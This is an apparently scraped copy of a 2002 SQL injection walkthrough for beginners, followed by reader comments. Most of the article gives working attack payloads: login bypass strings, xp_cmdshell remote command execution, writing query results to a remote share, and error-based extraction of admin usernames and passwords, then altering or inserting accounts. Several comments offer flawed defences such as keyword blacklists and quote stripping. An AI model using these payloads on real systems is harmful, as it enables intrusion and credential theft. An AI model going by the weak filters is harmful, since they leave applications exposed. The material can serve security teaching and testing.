0% found this document useful (0 votes)
37 views20 pages

SQL Injection Techniques for Beginners

The document provides a walkthrough on performing SQL injection attacks and exploiting SQL injection vulnerabilities. It discusses how to identify pages that are vulnerable, techniques for testing for vulnerabilities like using single quotes, how to get remote command execution on the server using stored procedures, and how to extract data from the database using error messages. The goal is to help beginners understand and successfully utilize SQL injection attacks while also providing tips on how websites can protect themselves from such attacks.

Uploaded by

Animesh Shaw
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
37 views20 pages

SQL Injection Techniques for Beginners

The document provides a walkthrough on performing SQL injection attacks and exploiting SQL injection vulnerabilities. It discusses how to identify pages that are vulnerable, techniques for testing for vulnerabilities like using single quotes, how to get remote command execution on the server using stored procedures, and how to extract data from the database using error messages. The goal is to help beginners understand and successfully utilize SQL injection attacks while also providing tips on how websites can protect themselves from such attacks.

Uploaded by

Animesh Shaw
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SecuriTeam - SQL Injection Walkthrough

SQLInjectionWalkthrough

26May2002

Summary ThefollowingarticlewilltrytohelpbeginnerswithgraspingtheproblemsfacingthemwhiletryingtoutilizeSQL Injectiontechniques,tosuccessfullyutilizethem,andtoprotectthemselvesfromsuchattacks. Credit: TheinformationhasbeenprovidedbySK.

Details 1.0Introduction Whenamachinehasonlyport80opened,yourmosttrustedvulnerabilityscannercannotreturnanythinguseful, andyouknowthattheadminalwayspatchhisserver,[Link] [Link] attacksonthewebapplication(likeASP,JSP,PHP,CGI,etc)itselfratherthanonthewebserverorservices runningintheOS. Thisarticledoesnotintroduceanythingnew,[Link] wrotethearticlebecausewewouldliketodocumentsomeofourpen-testusingSQLinjectionandhopethatit [Link]"9.0WherecanIgetmore info?"forpeoplewhotrulydeservecreditfordevelopingmanytechniquesinSQLinjection. 1.1WhatisSQLInjection? ItisatricktoinjectSQLquery/[Link] parametersfromwebuser,[Link],web pagethatusernameandpasswordandmakeSQLquerytothedatabasetocheckifauserhasvalidnameand [Link],itispossibleforustosendcraftedusernameand/orpasswordfieldthatwill changetheSQLqueryandthusgrantussomethingelse. 1.2Whatdoyouneed? Anywebbrowser. 2.0Whatyoushouldlookfor? Trytolookforpagesthatallowyoutosubmitdata,i.e:loginpage,searchpage,feedback,[Link], [Link],youmaynotseethe [Link],youcancheckthesourcecodeoftheHTML,andlookfor"FORM"taginthe [Link]: <FORMaction=Search/[Link]=post> <inputtype=hiddenname=Avalue=C> </FORM> Everythingbetweenthe<FORM>and</FORM>havepotentialparametersthatmightbeuseful(exploitwise).

2.1Whatifyoucan'tfindanypagethattakesinput? YoushouldlookforpageslikeASP,JSP,CGI,[Link] parameters,like:

11.05.09 16:30

[Link]

1 of 20

SecuriTeam - SQL Injection Walkthrough

[Link] 3.0Howdoyoutestifitisvulnerable? [Link]: hi'or1=1-Intologin,orpassword,[Link]: -Login:hi'or1=1--Pass:hi'or1=1--[Link] [Link]: <FORMaction=[Link] <inputtype=hiddenname=Avalue="hi'or1=1--"> </FORM> Ifluckisonyourside,youwillgetloginwithoutanyloginnameorpassword. 3.1Butwhy'or1=1--? Letuslookatanotherexamplewhy'or1=[Link],itisalsopossibleto [Link] followingURL: [Link] IntheURL,'category'isthevariablename,and'food'[Link], anASPmightcontainthefollowingcode(OK,thisistheactualcodethatwecreatedforthisexercise): v_cat=request("category") sqlstr="SELECT*FROMproductWHEREPCategory='"&v_cat&"'" setrs=[Link](sqlstr) Aswecansee,ourvariablewillbewrappedintov_catandthustheSQLstatementshouldbecome: SELECT*FROMproductWHEREPCategory='food' ThequeryshouldreturnaresultsetcontainingoneormorerowsthatmatchtheWHEREcondition,inthiscase, 'food'. Now,assumethatwechangetheURLintosomethinglikethis: [Link] SELECT*FROMproductWHEREPCategory='food'or1=1--' ThequerynowshouldnowselecteverythingfromtheproducttableregardlessifPCategoryisequalto'food'or [Link]"--"tellMSSQLserverignoretherestofthequery,whichwillgetridofthelasthanging singlequote(').Sometimes,itmaybepossibletoreplacedoubledashwithsinglehash"#".

11.05.09 16:30

[Link]

2 of 20

SecuriTeam - SQL Injection Walkthrough

However,ifitisnotanSQLserver,oryousimplycannotignoretherestofthequery,youalsomaytry 'or'a'='a TheSQLquerywillnowbecome: SELECT*FROMproductWHEREPCategory='food'or'a'='a' Itshouldreturnthesameresult. DependingontheactualSQLquery,youmayhavetotrysomeofthesepossibilities: 'or1=1-"or1=1-or1=1-'or'a'='a "or"a"="a ')or('a'='a 4.0HowdoIgetremoteexecutionwithSQLinjection? BeingabletoinjectSQLcommandusuallymean,[Link] MSSQLServerisrunningasSYSTEM,[Link] storedprocedureslikemaster..xp_cmdshelltoperformremoteexecution: ';execmaster..xp_cmdshell'ping10.10.1.2'-Tryusingdoublequote(")ifsinglequote(')isnotworking. [Link] thecommandexecutedsuccessfully,youcanlistentoICMPpacketfrom10.10.1.2,checkifthereisany packetfromtheserver: #tcpdumpicmp Ifyoudonotgetanypingrequestfromtheserver,andgeterrormessageindicatingpermissionerror,itis possiblethattheadministratorhaslimitedWebUseraccesstothesestoredprocedures. 5.0HowtogetoutputofmySQLquery? Itispossibletousesp_makewebtasktowriteyourqueryintoanHTML: ';EXECmaster..sp_makewebtask"\\[Link]\share\[Link]","SELECT*FROM INFORMATION_SCHEMA.TABLES" ButthetargetIPmustfolder"share"sharingforEveryone. 6.0HowtogetdatafromthedatabaseusingODBCerrormessage WecanuseinformationfromerrormessageproducedbytheMSSQLServertogetalmostanydatawewant. Takethefollowingpageforexample: [Link] WewilltrytoUNIONtheinteger'10'withanotherstringfromthedatabase:

11.05.09 16:30

[Link]

3 of 20

SecuriTeam - SQL Injection Walkthrough

[Link] INFORMATION_SCHEMA.TABLES-ThesystemtableINFORMATION_SCHEMA.[Link] TABLE_NAMEfieldobviouslycontainsthenameofeachtableinthedatabase.Itwaschosenbecausewe [Link]: SELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESThisshouldreturnthefirsttablenameinthedatabase.WhenweUNIONthisstringvaluetoaninteger10,MS SQLServerwilltrytoconvertastring(nvarchar)[Link],sincewecannot [Link]: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'table1'toa columnofdatatypeint. /[Link],line5 [Link],we haveobtainedthefirsttablenameinthedatabase,whichis"table1". Togetthenexttablename,wecanusethefollowingquery: [Link] INFORMATION_SCHEMA.TABLESWHERETABLE_NAMENOTIN('table1')-WealsocansearchfordatausingLIKEkeyword: [Link] INFORMATION_SCHEMA.TABLESWHERETABLE_NAMELIKE'%25login%25'-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'admin_login'to acolumnofdatatypeint. /[Link],line5 Thematchingpatent,'%25login%25'willbeseenas%login%[Link],wewillgetthefirst tablenamethatmatchesthecriteria,"admin_login". 6.1Howtomineallcolumnnamesofatable? WecanuseanotherusefultableINFORMATION_SCHEMA.COLUMNStomapoutallcolumnsnameofa table: [Link] INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'login_id'toa

11.05.09 16:30

[Link]

4 of 20

SecuriTeam - SQL Injection Walkthrough

columnofdatatypeint. /[Link],line5 Nowthatwehavethefirstcolumnname,wecanuseNOTIN()togetthenextcolumnname: [Link] INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'WHERECOLUMN_NAME NOTIN('login_id')-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'login_name'toa columnofdatatypeint. /[Link],line5 Whenwecontinuefurther,weobtainedtherestofthecolumnname,i.e."password","details".Weknowthis whenwegetthefollowingerrormessage: [Link] INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'WHERECOLUMN_NAME NOTIN('login_id','login_name','password',details')-Output: MicrosoftOLEDBProviderforODBCDriverserror'80040e14' [Microsoft][ODBCSQLServerDriver][SQLServer]ORDERBYitemsmustappearintheselectlistifthe statementcontainsaUNIONoperator. /[Link],line5 6.2Howtoretrieveanydatawewant? Nowthatwehaveidentifiedsomeimportanttables,andtheircolumn,wecanusethesametechniquetogather anyinformationwewantfromthedatabase. Now,let'sgetthefirstlogin_namefromthe"admin_login"table: [Link] MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'neo'toa columnofdatatypeint. /[Link],line5 Wenowknowthereisanadminuserwiththeloginnameof"neo".Finally,togetthepasswordof"neo"fromthe database: [Link] MicrosoftOLEDBProviderforODBCDriverserror'80040e07'

11.05.09 16:30

[Link]

5 of 20

SecuriTeam - SQL Injection Walkthrough

[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'm4trix'toa columnofdatatypeint. /[Link],line5 Wecannowloginas"neo"withhispassword"m4trix". 6.3Howtogetnumericstringvalue? [Link] converttextthatconsistsofvalidnumber(characterbetween0-9only).Letsaywearetryingtogetpassword of"trinity"whichis"31173": [Link] number,beforeUNIONwithaninteger(10inthiscase).SinceitisavalidUNIONstatement,SQLserverwill notthrowODBCerrormessage,andthus,wewillnotbeabletoretrieveanynumericentry. Tosolvethisproblem,wecanappendthenumericstringwithsomealphabetstomakesuretheconversionfail. Letustrythisqueryinstead: [Link] admin_loginwherelogin_name='trinity'-Wesimplyuseaplussign(+)toappendthepasswordwithanytextwewant.(ASSCIIcodefor'+'=0x2b). Wewillappend'(space)morpheus'[Link],evenifwehaveanumericstring'31173', itwillbecome'31173morpheus'.Bymanuallycallingtheconvert()function,tryingtoconvert'31173morpheus' intoaninteger,SQLServerwillthrowoutODBCerrormessage: MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'31173 morpheus'toacolumnofdatatypeint. /[Link],line5 Now,youcanevenloginas'trinity'withthepassword'31173'. 7.0Howtoupdate/insertdataintothedatabase? Whenwesuccessfullygatherallcolumnnameofatable,itispossibleforustoUPDATEorevenINSERTa [Link],tochangepasswordfor"neo": [Link] [Link] VALUES(666,'neo2','newpas5','NA')-Wecannowloginas"neo2"withthepasswordof"newpas5". 8.0HowtoavoidSQLInjection? Filteroutcharacterlikesinglequote,doublequote,slash,backslash,semicolon,extendedcharacterlike NULL,carryreturn,newline,etc,inallstringsfrom: -Inputfromusers -ParametersfromURL

11.05.09 16:30

[Link]

6 of 20

SecuriTeam - SQL Injection Walkthrough

-Valuesfromcookie Fornumericvalue,[Link] sureitisaninteger. Change"StartupandrunSQLServer"usinglowprivilegeuserinSQLServerSecuritytab. Deletestoredproceduresthatyouarenotusinglike: master..Xp_cmdshell,xp_startmail,xp_sendmail,sp_makewebtask

9.0WherecanIgetmoreinfo? OneoftheearliestworksonSQLInjectionwehaveencounteredshouldbethepaperfromRainForestPuppy abouthowhehackedPacketStorm. [Link] GreatarticleongatheringinformationfromODBCerrormessages: [Link] AgoodsummaryofSQLInjectiononvariousSQLServeron [Link] Senseport'sarticleonreadingSQLInjection: [Link] Otherworthreadings: [Link] [Link] [Link] [Link] Comments: Subject: forphpandmysql From: justme Thereisanicearticle,thatcomeswithaworkingsolutionforphp+mysqlinjection. [Link] Subject: Anotherdiscussion From: Andrew IdiscussthissubjectwithabasicintroductiontoSQLatthefollowingaddress: [Link] Date: 15Nov.2005

Date: 21Nov.2005

Subject: Goodarticlebut... Date: 16Dec.2005 From: shareefer Greatarticle,[Link],youshouldALWAYSusestoredproceduresin yourwebcode. [Link] blocked...[Link],quotes,SQLkeywords,ect.

11.05.09 16:30

[Link]

7 of 20

SecuriTeam - SQL Injection Walkthrough

Subject:

StoredProcsarenotguaranteedprotection

Date:

18Jan. 2006

From: dbjstein Inresponsetothenoteabove,itisnotIbelievethecasethatstoredprocedurespreventSQLinjectioninall [Link],wherethestatementisconstructed [Link],thereisnoprecompiledstatement,andthereforenopreventionofSQLinjection [Link] tobeparsedintothestatement,willitpreventSQLinjection. Subject: VarianceinSQLservererrormessages From: redeye Itriedtestingthisonasite,usingsomethingsimilarto: [Link] INFORMATION_SCHEMA.TABLES-Insteadoftheuseful MicrosoftOLEDBProviderforODBCDriverserror'80040e07' [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'table1'toa columnofdatatypeint. /[Link],line5 Igetthis: MicrosoftOLEDBProviderforSQLServererror'80040e07' Syntaxerrorconvertingcharacterstringtosmalldatetimedatatype. /[Link],line46 IsthisanewerversionofSQLserveroradifferentlyconfiguredone,onewhichdeliberatelydoesnotoutput theusefuldata? Subject: bindvariables From: seph Howisusingastoredproceduresgoingtopreventthis? ...youjustneedtomakesureyouusebindvariables. Subject: SQLinjectionsux From: WhiteHaCker IpreferLKMrootkitattacksforsunservers. Thiscouldbeusedasakernelhackintrick. Justlikethewayiusedtocodebufferoverflowsforunixservers... Date: 10Feb.2006 Date: 10Feb.2006

Date: 21Feb.2006

Subject: nicearticletogettoknowSQLinjection Date: 3Mar.2006 From: Ashvinbodhale Theattackcanbfoiledbyalreadydevelopedappsnalsostoredprocsthatareembeddedinsidecode---all workswell.

11.05.09 16:30

[Link]

8 of 20

SecuriTeam - SQL Injection Walkthrough

chkthisURL...[Link] Subject: whataboutthissolution Date: 15Mar.2006 From: da_man Itestedaforummadebyafriendandhisloginlookedkindalikethis(shorteneddownabit): $query_1=mysql_query(&quote;SELECT*FROM&quote;.$tpref.&quote;usersWHEREUserName= '$_POST[usern]'ANDPassWord='$_POST[passwd]'&quote;); //checklogin if(mysql_num_rows($query_1)==1){ //dologinstuff }else{ //printerrormsg } howsafeisthatagainstsqlinjection? Subject: Ihighlysuggestyouwatchthisvideo... Date: 14Jul.2006 From: Ralph IfoundthisBLOGwhichhassomeSQLInjectioninfo,alongwithalinkofavideowhereaguyusesSQL injectiontoreplacealoggingdllonawebserverandcapturescreditcardinformation. [Link]. [Link] Subject: storedprocedure Date: 24Jul.2006 From: Ivan Storedproceduresarenotalwayssafebecausetheyconstructasqlstatementatruntimeprettymuchthe [Link],however,thatargumentsarebeingpassedtoastored procedureatruntimeandthattheactualSQLstatementdoesn'[Link] explainhowtodothisinSQLServer. Subject: jim Date: 1Aug.2006 From: [Link] Veryscarythatpeoplethinktheuseofstoredprocswillprotectthemfromsqlinjection.(ortheuseofa particularweborRDBMStechnology) Folks,[Link]'[Link],but [Link]'tsoleyawindows/sqlserverproblem;itcan appearonanydbserverandanyOSwithanylanguageofyoudoitright.(wrong)Againusebindvariables. Alsobindvariablesscalebetter. Subject: From: myway [Link] Date: 27Aug.2006

11.05.09 16:30

[Link]

9 of 20

SecuriTeam - SQL Injection Walkthrough

Yadon'texecutethecodeifcontains;/\'&quote;=-[Link] it???? Subject: myway Date: 7Sep.2006 From: Libstar [Link]!!Whatifuserrequirementistoenterastringincludingoneofthese charaters?;/\'&quote;=-([Link]'Neillwhichincludesanapostrophe) Yougonnatellyourclienttheycan'thavewhattheyneed?Theygonnatellya,you'renotgettingpaid!!! Subject: tothepersonaboveme Date: 8Sep.2006 From: LostDreamer Well,ifyoudonotexecuteanysqlquerycontainingthosedigits,howwouldonemakeaforum?oranyplace wherepeoplecanpostmessages? whentheyuseawordwitha'init,thecodewouldnotexecutetheinsertquery..... AlsogoodoptionagainstSQLInjectionisMagicQuotes....replacesallthe'&&quote;with'&\&quote; whichwouldnotend/altertheSQLquery. Subject: languagelibraryproblem Date: 23Sep.2006 From: gaba Franklypeople,[Link] properlysothisstuffisnotaproblem. TheonlyproblemhereisthatdatapassedtoSQLdoesnothave'special'charactersquotedbeforeitgetsto thequery. [Link],youshouldbegivenlibraryfunctionsthatautomaticallydo thisforyou. searchfor=&quote;myid&quote;; query=&quote;select*fromtablewhereid=?&quote;; executequery(query,searchfor); IftheexecutequeryfunctionautmaticallyremovesallSQLinjectionproblems,thisisanon-issue. Iconsideritafatallanguageflawnottohavesuchalibraryissuedasthestandarddatabaseimplementation. Subject: SQLinjectiononMSSQLandASP. Date: 17Oct.2006 From: Vaclav IputanarticleonthewebaboutMSSQL&ASP,includingapracticeexamplehowitworked. [Link] Subject: sqlinjection Date: 19Oct.2006 From: ChrisM whydon'tyoujust(vb6): replace(user_param,&quote;'&quote;,&quote;''&quote;)whenconcatenatingtodynamicsqlstring? (replacesinglequotewithtwosinglequotes) strsql=&quote;select*fromtablewhereuser='admin'andpassword='&quote;& replace(user_param,&quote;'&quote;,&quote;''&quote;)&&quote;'&quote;

11.05.09 16:30

[Link]

10 of 20

SecuriTeam - SQL Injection Walkthrough

setrs=[Link](strsql) Subject: Excellent!!!! From: Rurouni,[Link] Excellentlittletutorial..!!!thanks, Date: 22Nov.2006

justincase,ifyougetanerrorinsectionwhileusing: NOTIN('login_id')--,etc...youcouldtry [Link] INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='admin_login'WHERECOLUMN_NAME <>'login_id'-Itworkedperfectlyforme(<>means'different'), Subject: excellentbutstoredprocishackable From: gary TrythisonyourNorthwinddatabase: SP: CREATEPROCEDUREtest(@mycitynvarchar(15)) AS SELECTEmployeeID,LastName,FirstName,HomePhone,City FROMEmployees WHERECity=@mycity Nowinquerymanagertypein: exectest'x';[Link].xp_cmdshell'dir*.exe';--' andthiswillwork. Subject: easiestwaytopreventit Date: 7Feb.2007 From: Ole Thereisasimplesolutiontoallthis,dunnoifanybodymentioneditalreadysinceididn'[Link] thevariableyousendintothesqlquerrylikethis:replace(variableName,&quote;'&quote;,&quote;'&quote;)and [Link]'isnowtextbasedandwontinterruptthesqlquerry. Oh..andtoallthepplheretryingtousethisshittohack..don't,theonlythingyoudoisruinotherpplsdata. updateatableandappendthe--andyouupdateeverysinglerowinthattablesincethereisnoreferenceto whichrowyourupdatinganymore. Don'tbloodywelltrytohack![Link]. Subject: Responsetopurpotedexploit From: thatoneguy Nowinquerymanagertypein: exectest'x';[Link].xp_cmdshell'dir*.exe';--' andthiswillwork. ================ Date: 9Feb.2007 Date: 2Jan.2007

11.05.09 16:30

[Link]

11 of 20

SecuriTeam - SQL Injection Walkthrough

Thatworksbecausethe&quote;;&quote;keyinQueryAnalyzereffectivelysendstwoseparatecommands. Todemonstratetheeffectofattemptingtoattackthatstoreprocedureviaasqlinjectionvector,itwouldlook likethis: exectest'x;[Link].xp_cmdshell'dir*.exe' YourinitialsyntaxinQAisfunctionallyidenticalto: exectest'x' GO [Link].xp_cmdshell'dir*.exe' GO Subject: easiestwaytopreventit Date: 12Feb.2007 From: Ole ohfuck,thereplacetextwasmessedupbythisformsubmission..whatimeanttowritewasreplacethe' withtheasciiequivalentofthesign... 12Mar. 2007

Subject:

Yeap,notbad

Date:

From: DarkDawn Hidevelopers, [Link] Queries/SPs,changeyourerrormessagesalsoinyourapp/[Link] [Link] workingforus,notsureabouttheotherlanguagesbutmustbeaway. Bytheway,itisalwaysPERFECTtoknowwhatarethepossiblewaysgettingintoyourappANDDONOT FORGET:crackersaremostlyreallysmart;hireoneforyoursecurityifitisreallynecessary.;) GL&Tanx 30Mar. 2007

Subject:

Interesting..

Date:

From: Chia btw,IfyouRUNIIS6.0,justdisableaccesstorootdirectoryusing&quote;..\&quote;andalso,disable &quote;DetailedErrorMessage&quote;andreplaceitwith&quote;Sorry,anderrorhasoccured&quote;this way,[Link] eitherusestoredprocedures,ormakeadditioncheckstatementstolookatyour [Link](&quote;&quote;)[Link](&quote;&quote;)...like..doa instr(stringname,&quote;;&quote;)testandseeif&quote;;&quote;isfound,[Link] youenterdataintoavulnerableformthiswillhappen: Letssayyouinput&quote;test';<anySQLCommand>;&quote;intotheform,thenforthefollowingSQL Query SQLString=&quote;Select*FromTable1whereUsername='&quote;&userName&&quote;'&quote;... Itwouldlooklike: Select*FromTable1whereUsername='test';<anySQLCommand>; Whichwouldthenexecutewhatevercomesafter. Andyoushouldtestforothersimilarthings,suchascomamndstoDeleterecordsandsoforth.:)

11.05.09 16:30

[Link]

12 of 20

SecuriTeam - SQL Injection Walkthrough

Subject:

Morons

Date:

10May 2007

From: Basiclife Myofficialpositionisthathalfthepeopleherearemorons...SQLinjectionisavalidmethodofattacktoANY databasewithawebapp(unlessthedeveloperhadbeencareful).StoredproceduresareNOTsafe-Ifyou callsp_Login'username','password'andsomeonereplaces'username'with','';<QUERY>--thenitwillstill [Link],tothepeopleabovewhoareonlyherebecausetheyaretooincompetenttounderstand theprinciplesofSQLInjection-Gohomeandtryagain. InregardstoPHP:phphasamysql_escape_stringfunctionwhichisveryhandyforpreventinginjectionbut whetherornotthedeveloperusesitisanotherquestion. Andinanswertothepostabove,that'[Link] ANYerrorinformationforHTTP500errors,thusmakingyourlifeREALLYhard. Theyellowboxesontheerrorwiththewebconfigsareexplaininghowthesiteownercanallowerror messagestobeshown(noonedoes).[Link]:) Subject: PreventingSQLInjection Date: 17May2007 From: Vasu [Link]=RemoteOnlypreventstheerrorbeingshowntoEndUser. Thatisdefinitelyagoodpractice. 1)[Link] [Link] Try

Catcheasexception'Thiscanbeputforeveryexceptiontype 'WritetoOriginalerrorEventlog 'PutaGenericMessagetothescreen 'like'ThereisGenericErrorintheOperations,Contact........forgettingyourproblemresolved' Endtry [Link] [Link]. 2)Avoidusinglogin'sa'[Link] databaseavoidingmasterdbaccess. Subject: Averysimplesolutionforthis! Date: 29Jun.2007 From: Freaky placethisinyourconfigfile: $_SERVER['REQUEST_URI']=mysql_real_escape_string($_SERVER['REQUEST_URI']); ifyoudon'tlikethiswayusethis: $sql_url=$_SERVER['REQUEST_URI']; $sql_array=Array();

11.05.09 16:30

[Link]

13 of 20

SecuriTeam - SQL Injection Walkthrough

$sql_array[]=&quote;mysql&quote;; $sql_array[]=&quote;)&quote;; $sql_array[]=&quote;;&quote;; $sql_array[]=&quote;'&quote;; $sql_array[]=&quote;}&quote;; $sql_array[]=&quote;INSERT&quote;; $sql_array[]=&quote;DROPTABLE&quote;; $sql_array[]=&quote;TRUNCATE&quote;; $sql_array[]=&quote;DROP&quote;; $sql_array[]=&quote;UPDATE&quote;; $sql_array[]=&quote;%&quote;; $sql_array[]=&quote;UNION&quote;; $sql_array[]=&quote;ALL&quote;; //$sql_array[]=&quote;&quote;;addthingsyourself foreach($sql_arrayAs$not_alowed){ if(eregi($not_alowed,$sql_url)){ echo'SQLinjectionsecurity!'; exit; } } thiswillblockallthingsnamedindearrays!

Allyouhavetodoisputthisinyourconfigfilethatwillbeincludedintoeverypageandallyourproblemesare solved! Subject: Storedproceduresdonotpreventinjection Date: 5Jul.2007 From: Burhaan [Link] [Link]! Subject: MyWay Date: 14Aug.2007 From: [Link] forneglectingallofthistypeofSQL(injecting)youcanfetchallrowsfromthedatabaseandthencompare theinputwitheachrecordinthedatabaselikethis: $con=mysql_query(&quote;SELECT*FROMloginWHEREID<>'Login';&quote;); while($get=mysql_fetch_row($con)) { if($get[0]==$_REQUEST[&quote;ID&quote;]&&$get[1]==$_REQUEST[&quote;Password&quote;]) { print(&quote;Loginaccepted...&quote;); } } Subject: From: lol VaRz Date: 21Aug.2007

11.05.09 16:30

[Link]

14 of 20

SecuriTeam - SQL Injection Walkthrough

try $re=array(&quote;*&quote;,&quote;,&quote;,&quote;|&quote;,&quote;`&quote;,&quote;'&quote;, &quote;&quote;&quote;,&quote;%&quote;); if($_POST['textbox']){ str_replace($re,&quote;&quote;,$_POST['textbox']); } seeifthisworks Subject: OfcourseSParesuscpetible! Date: 2Nov.2007 From: Basiclife Forastart,itdependsHOWyoucalltheSP-Iworkedatacompanythatdidsomethinglike(ASP): SetObjRS=[Link](&quote;EXECap_login'&quote;&...Blah Theproblemis,itjustmovestheSQLinjectionissuefromtheDBtothewebserver.SPsare_more_secure ifparameterisedcorrectly. Additionally,DynamicSQLintheSPwillcompletelyinvalidateanysuchprecautionsunlessyoumanually type-check,etc...asanSPdoes. goodarticlethough-veryhandyforeasilyexplainingtoothers(savesmerepeatingmyselfadinfinitum) Thanks Subject: HelpmeinSQLIjection Date: 22Nov.2007 From: DaSattidanish_satti2002atyahoo.com [Link] $query=&quote;select*fromuserswhere`user_name`='&quote;.$user.&quote;'and`password`= '&quote;.$pass.&quote;'&quote;; $res=mysql_query($query)ordie(&quote;Errorexecutingquery&quote;.mysql_error()); if(mysql_num_rows($res)>0) {//othercode } else {echo&quote;invalidusernameorpassword&quote;;} NOiaminsertingfollowingintheusernamefield 'or1=1-StillIamgetting&quote;Invalidusernameorpassword&quote;[Link] someonefromyoureplyatmyaboveprovidedemail Thanks 12Dec. 2007

Subject: From:

Whattodowhenmagicquotegpcison DaSattiRawalpindi

Date:

11.05.09 16:30

[Link]

15 of 20

SecuriTeam - SQL Injection Walkthrough

BasicSQLInjectiondoesentworkwhenwhemagic_quote_gpcvariableison.BydefaultitisoninPHP. [Link] &quote;\&quote;behindthecharacterssuchas&quote;'&quote;,&quote;&quote;&quote;,&quote;\ &quote;[Link] 31Dec. 2007

Subject:

Greatartical!

Date:

From: BkJk [Link]. IwouldjustliketopointoutthatwhenyousaidthatSYSTEMhasthesameprivilegesastheadministrator [Link] ownedbySYSTEMwhereasevenanadministratorcan'[Link],justwantedtopointthatout. Subject: HowtopreventSQLinjection. Date: 10Feb.2008 From: Mike IhaveaveryeffectivewayofstoppingSQLinjection---ifyou'reusingPHP5.2.3usethislittlefunction: functionfilter(&$item){ if(is_array($item))foreach($itemas&$element)filter($element); else$item=str_replace(str_split(&quote;=+()*\\/&quote;),NULL,htmlentities($item,ENT_QUOTES, &quote;ISO-8859-1&quote;,TRUE)); } Thensimplycalliton$_REQUEST: filter($_REQUEST); Jobdone:) Subject: sqlinjectiontoolstodownload Date: 12Feb.2008 From: sqlinject howtoguardagainstthesqlinjection: [Link] Subject: Isthissafepart1of2 Date: 16Feb.2008 From: blaghssd foreach($arraynameas$key=>$value) { $value=str_replace(&quote;$&quote;,&quote;_DOLLAR_&quote;,&quote;$value&quote;); $value=str_replace(&quote;=&quote;,&quote;_E_&quote;,&quote;$value&quote;); $value=str_replace(&quote;&&quote;,&quote;_AND_&quote;,&quote;$value&quote;); $value=str_replace(&quote;*&quote;,&quote;_STAR_&quote;,&quote;$value&quote;); $value=str_replace(&quote;?&quote;,&quote;_QUESTION_&quote;,&quote;$value&quote;); $value=str_replace(&quote;|&quote;,&quote;_PIPE_&quote;,&quote;$value&quote;); $value=str_replace(&quote;`&quote;,&quote;_TICK_&quote;,&quote;$value&quote;); $value=str_replace(&quote;#&quote;,&quote;_POUND_&quote;,&quote;$value&quote;); $value=str_replace(&quote;^&quote;,&quote;_CARROT_&quote;,&quote;$value&quote;);

11.05.09 16:30

[Link]

16 of 20

SecuriTeam - SQL Injection Walkthrough

$value=str_replace(&quote;!&quote;,&quote;_EXCLAMATION_&quote;,&quote;$value&quote;); $value=str_replace(&quote;;&quote;,&quote;_SEMICOLON_&quote;,&quote;$value&quote;); $value=str_replace(&quote;~&quote;,&quote;_WAVE_&quote;,&quote;$value&quote;); $value=str_replace(&quote;.&quote;,&quote;_PERIOD_&quote;,&quote;$value&quote;); $value=str_replace(&quote;\&quote;&quote;,&quote;_QUOTE_&quote;,&quote;$value&quote;); $value=str_replace(&quote;'&quote;,&quote;_APOSTROPHE_&quote;,&quote;$value&quote;); $value=str_replace(&quote;\\&quote;,&quote;_BACKSLASH_&quote;,&quote;$value&quote;); $value=str_replace(&quote;@&quote;,&quote;_AT_&quote;,&quote;$value&quote;); $value=str_replace(&quote;<&quote;,&quote;_LEFT_ARROW_&quote;,&quote;$value&quote;); $value=str_replace(&quote;>&quote;,&quote;_RIGHT_ARROW_&quote;,&quote;$value&quote;); $value=str_replace(&quote;[&quote;,&quote;_LEFT_BRACKET_&quote;,&quote;$value&quote;); $value=str_replace(&quote;]&quote;,&quote;_RIGHT_BRACKET_&quote;,&quote;$value&quote;); $value=str_replace(&quote;%&quote;,&quote;_PERCENT_&quote;,&quote;$value&quote;); $returnarray[$key]=$value; } Subject: Isthissafepart2of2 Date: 16Feb.2008 From: blaghssd $value=str_replace(&quote;_DOLLAR_&quote;,&quote;$&quote;,&quote;$value&quote;); $value=str_replace(&quote;_E_&quote;,&quote;=&quote;,&quote;$value&quote;); $value=str_replace(&quote;_AND_&quote;,&quote;&&quote;,&quote;$value&quote;); $value=str_replace(&quote;_STAR_&quote;,&quote;*&quote;,&quote;$value&quote;); $value=str_replace(&quote;_QUESTION_&quote;,&quote;?&quote;,&quote;$value&quote;); $value=str_replace(&quote;_PIPE_&quote;,&quote;|&quote;,&quote;$value&quote;); $value=str_replace(&quote;_TICK_&quote;,&quote;`&quote;,&quote;$value&quote;); $value=str_replace(&quote;_POUND_&quote;,&quote;#&quote;,&quote;$value&quote;); $value=str_replace(&quote;_CARROT_&quote;,&quote;^&quote;,&quote;$value&quote;); $value=str_replace(&quote;_EXCLAMATION_&quote;,&quote;!&quote;,&quote;$value&quote;); $value=str_replace(&quote;_SEMICOLON_&quote;,&quote;;&quote;,&quote;$value&quote;); $value=str_replace(&quote;_WAVE_&quote;,&quote;~&quote;,&quote;$value&quote;); $value=str_replace(&quote;_PERIOD_&quote;,&quote;.&quote;,&quote;$value&quote;); $value=str_replace(&quote;_QUOTE_&quote;,&quote;\&quote;&quote;,&quote;$value&quote;); 